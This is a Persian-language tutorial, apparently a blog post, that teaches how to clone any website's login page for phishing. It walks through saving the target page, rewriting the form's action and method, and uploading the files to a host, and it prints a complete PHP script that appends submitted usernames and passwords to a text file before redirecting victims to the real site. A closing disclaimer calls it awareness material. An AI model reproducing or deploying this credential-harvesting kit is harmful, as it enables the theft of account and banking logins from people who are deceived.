به نام خدا
با آموزش فیشینگ صفحات مختلف وب در خدمت شما هستیم در این روش شما قادرخواهید بود تمام صفحات لاگین رو فیشینگ کنید
فیشینگ چیست ( ویکی پدیا ) ؟
به تلاش برای به دست آوردن اطلاعاتی مانند نام کاربری، گذرواژه، اطلاعات حساب بانکی و مانند آنها از طریق جعل یک وبگاه، آدرس ایمیل و مانند آنها گفته میشود.
یا به بیان سادهتر هنگامی که شخصی تلاش میکند دیگری را فریب دهد تا اطلاعات شخصی او را در اختیارش بگیرد، یک حمله فیشینگ رخ میدهد و یک بازار غیرقانونی چند هزار میلیاردی را تشکیل داده است.
ساخت فیشینگ:
- سایت تارگت را باز کرده و روی کادری که تمام صفحه را شامل میشود کلیک راست کرده و save as را بزنید تا صفحه مورد نظر دانلود شود.
- دقت کنید فایل باید html باشد یعنی پسون .html باشد
- نام فایل رو به index تغییر دهید یعنی(index.html)
- حالا در هر مسیری که فایل تارگت قرار دارد یک فایل txtایجاد کنید هر نامی که میخواهید قرار دهید مثلا ما نام فایل روcombo قرار میدیم (combo.txt)
اطلاعات در این فایل ذخیره میشه!
- یک فایل php ایجاد کنید این فایل همان فایلی است که اطلاعات وارده را ذخیره میکند پس اسم این فایل را فیشینگ یا... قرار ندهید
- تکه کد زیر را در فایل وارد کنید فقط به جای combo.txt اسم فایل مورد نظر خودتون رو بزارین:
<?php
Header("Location: http://www.TargetDomain.com");
$handle = fopen("combo.txt", "a");
foreach($_GET as $variable => $value) {
fwrite ($handle, $variable);
fwrite ($handle, $value);
fwrite ($handle, "\r\n");
}
fwrite ($handle, "\r\n");
fclose($handle);
exit;
?>
- فایل اصلی html را بازکنید ودنبال تگی به اسم form بگردید. در تگ مقدار action را پیدا کنید و ادرس فایل php رو جایگذاری کنید(دقت کنید ادس باید بین دو دابل کوتیشن باشد(دابل کوتیشن یعنی " ) )
- در ادامه همان تگ متود مورد نظر رو به get تغییر دهید چون در این متود اطلاعات از ظریق ادرس بارگزاری میشود(معمولا متود از نوع post هست که اون رو باید تغییر بدین)
فایل ها رو در هاست خودتون اپلود کنید(به ادرس فایل ها دقت کنین)
تیم ما هیچ گونه مسئولیتی در قبال سوء استفاده شما ندارد این فقط یک اموزش جهت افزایش اگاهی شما در این راستا بود
اگر سوال یا ابحامی بود در بخش نظرات کامنت کنید